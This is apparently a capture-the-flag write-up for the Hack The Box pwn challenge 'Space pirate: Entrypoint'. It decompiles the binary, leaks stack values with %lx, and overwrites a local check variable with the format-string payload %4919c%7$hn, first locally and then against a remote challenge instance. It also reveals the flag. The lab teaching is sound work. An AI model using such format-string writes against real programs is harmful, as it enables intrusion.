Space pirate: Entrypoint
6 minutes to read
We are given a 64-bit binary called sp_entrypoint
:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
We can run it to view two options:
$ ./sp_entrypoint
Authentication System
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓ ▓▓▓▒▒▓▓▓▒▒▒▒▒▓▓▒░▒▓▓▓░░▓▓▓▓▓ ░ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓ ▓▓▓▒▒▓▓▓▒▒▒▒▒▓▓░░░▓▓▓▒░▓▓▓▓▓ ░ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▓▓▓▒▒▒▒▒▓▓░░░▓▓▓░░▓▓▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▓▓▓▒▒▒▒░▓▓░░░▓▓▓░░▓▓▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▓▓▓▒▒▒▒▒▓▓▒░░▓▓▓░░▓▓▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▓▓▓▒▒▒▒░▓▓░░░▓▓▓░ ▓▓▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▓▓▓▒▒▒▒▒▓▓░░░▓▓▒░░▓▓▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▓▓▓▒▒░░░▓▓░░░▓▓▒░ ▓▓▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▓▓▓▒░░░▒▓▓░░░▓▓▒ ░▓▓▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▓▓▓░░░░░▓▓░░░▓▓▓ ▓▓▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒░▓▓▓▒░░░░▓▓▒ ▓▓▒ ▓▓▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▓▓▓░▒░░░▓▓░ ▓▓▒ ▓▓▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓ ▓▓▓░▒▓▓▓░░░░░▓▓░ ▓▓▒ ▓▓▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓ ▓▓▓▒░▓▓▓░░░░ ▓▓ ▓▓▒ ▓▓▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
1. Scan card 💳
2. Insert password
>
If we decompile the binary with Ghidra, we see the main
function:
undefined8 main() {
long lVar1;
long in_FS_OFFSET;
long local_48;
long *local_40;
char local_38[40];
long local_10;
local_10 = *(long *) (in_FS_OFFSET + 0x28);
setup();
banner();
local_48 = 0xdeadbeef;
local_40 = &local_48;
printf(&DAT_001025e0);
lVar1 = read_num();
if (lVar1 != 1) {
if (lVar1 == 2) {
check_pass();
}
printf(&DAT_00102668, &DAT_0010259a);
/* WARNING: Subroutine does not return */
exit(0x1b39);
}
printf("\n[!] Scanning card.. Something is wrong!\n\nInsert card\'s serial number: ");
read(0,local_38, 0x1f);
printf("\nYour card is: ");
printf(local_38);
if (local_48 == 0xdead1337) {
open_door();
} else {
printf(&DAT_001026a0, &DAT_0010259a);
}
if (local_10 == *(long *) (in_FS_OFFSET + 0x28)) {
return 0;
}
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
The second option requires a password:
$ ./sp_entrypoint
...
1. Scan card 💳
2. Insert password
> 2
[*] Insert password: asdf
[-] Invalid password! Intruder detected! 🚨 🚨
The function that handles authentication is check_pass
:
void check_pass() {
int iVar1;
long in_FS_OFFSET;
undefined8 local_28;
undefined8 local_20;
long local_10;
local_10 = *(long *) (in_FS_OFFSET + 0x28);
local_28 = 0;
local_20 = 0;
printf("[*] Insert password: ");
read(0, &local_28, 0xf);
iVar1 = strncmp("0nlyTh30r1g1n4lCr3wM3mb3r5C4nP455", (char *) &local_28, 0x21);
if (iVar1 != 0) {
printf(&DAT_001025a8, &DAT_0010259a);
/* WARNING: Subroutine does not return */
exit(0x1b39);
}
open_door();
if (local_10 != *(long *) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
As it is shown, the program reads 0xf
(15) bytes and compares it with 0nlyTh30r1g1n4lCr3wM3mb3r5C4nP455
. However, we are not able to enter more than 15 bytes, so there’s no way we can pass this check.
If we were able to pass it, then open_door
would be called, and the flag would be shown:
void open_door() {
long lVar1;
long in_FS_OFFSET;
lVar1 = *(long *) (in_FS_OFFSET + 0x28);
printf("\n%s[+] Door opened, you can proceed with the passphrase: ", &DAT_00100eb8);
system("cat flag*");
if (lVar1 != *(long *) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
Going again to main
, we can see that we have another possibility if we choose the first option:
printf("\n[!] Scanning card.. Something is wrong!\n\nInsert card\'s serial number: ");
read(0,local_38, 0x1f);
printf("\nYour card is: ");
printf(local_38);
if (local_48 == 0xdead1337) {
open_door();
} else {
printf(&DAT_001026a0, &DAT_0010259a);
}
Here we have a Format String vulnerability, since printf
uses as first argument the same information we provide as “card’s serial number”. A simple proof of concept:
$ ./sp_entrypoint
...
1. Scan card 💳
2. Insert password
> 1
[!] Scanning card.. Something is wrong!
Insert card's serial number: %x
Your card is: eb7a7420
[-] Invalid password! Intruder detected! 🚨 🚨
The value eb7a7420
is a value taken from the stack, so we can potentially read and write values to the stack using the Format String vulnerability.
Here, if local_48
had a value of 0xdead1337
, then open_door
would be called. Unfortunately, local_48
is set to 0xdeadbeef
, so it is different.
But we can use the Format String vulnerability to modify the value of that local variable. Let’s find the offset in the stack where local_48
is stored:
$ ./sp_entrypoint
...
1. Scan card 💳
2. Insert password
> 1
[!] Scanning card.. Something is wrong!
Insert card's serial number: %lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.
Your card is: 7ffed66b4cf0.7f61975088c0.0.f.0.deadbeef.7ffed66b7390.2e786c252e786c25
[-] Invalid password! Intruder detected! 🚨 🚨
It appears to be at position 6. Let’s verify it using %6$lx
:
$ ./sp_entrypoint
...
1. Scan card 💳
2. Insert password
> 1
[!] Scanning card.. Something is wrong!
Insert card's serial number: %6$lx
Your card is: deadbeef
[-] Invalid password! Intruder detected! 🚨 🚨
Alright. Now we must use format %n
(for example, %6$n
) in order to write data into memory. The way %6$n
works is that it stores the number of characters printed until %6$n
into the address at the sixth position in the stack.
For this reason, we can’t use %6$n
, because 0xdeadbeef
is not a valid address. We must find the address that contains 0xdeafbeef
. Let’s use GDB to find it:
$ gdb -q sp_entrypoint
Reading symbols from sp_entrypoint...
(No debugging symbols found in sp_entrypoint)
gef➤ run
Starting program: ./sp_entrypoint
...
1. Scan card 💳
2. Insert password
> ^C
Program received signal SIGINT, Interrupt.
0x00007ffff7af2031 in read () from ./glibc/libc.so.6
gef➤ grep 0xdeadbeef
[+] Searching '\xef\xbe\xad\xde' in memory
[+] In './sp_entrypoint'(0x555555400000-0x555555403000), permission=r-x
0x555555400d18 - 0x555555400d28 → "\xef\xbe\xad\xde[...]"
[+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rw-
0x7fffffffe650 - 0x7fffffffe660 → "\xef\xbe\xad\xde[...]"
So local_48
is at 0x7fffffffe650
. Now let’s enumerate the Format String vulnerability again:
gef➤ continue
Continuing.
1
[!] Scanning card.. Something is wrong!
Insert card's serial number%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.
Your card is: 7fffffffbfb0.7ffff7dcf8c0.0.f.0.deadbeef.7fffffffe650.2e786c252e786c25
[-] Invalid password! Intruder detected! 🚨 🚨
[Inferior 1 (process 76812) exited normally]
Ok, we need to write into position 7, so we will be using %7$n
.
Actually, we can use %7$hn
to overwrite half word (2 bytes), because it is what we need in this situation. In order to print 0x1337
(4919) bytes, we can use another format string, that is %4919c
. Let’s try:
1. Scan card 💳
2. Insert password
> 1
[!] Scanning card.. Something is wrong!
Insert card's serial number: %4919c%7$hn
Your card is:
[+] Door opened, you can proceed with the passphrase: HTB{f4k3_fl4g_f0r_t3st1ng}
We have it. Let’s exploit the remote instance then:
$ nc 178.62.26.185 31995
...
1. Scan card 💳
2. Insert password
> 1
[!] Scanning card.. Something is wrong!
Insert card's serial number: %4919c%7$hn
Your card is:
[+] Door opened, you can proceed with the passphrase: HTB{g4t3_0n3_d4rkn3e55_th3_w0rld_0f_p1r4t35}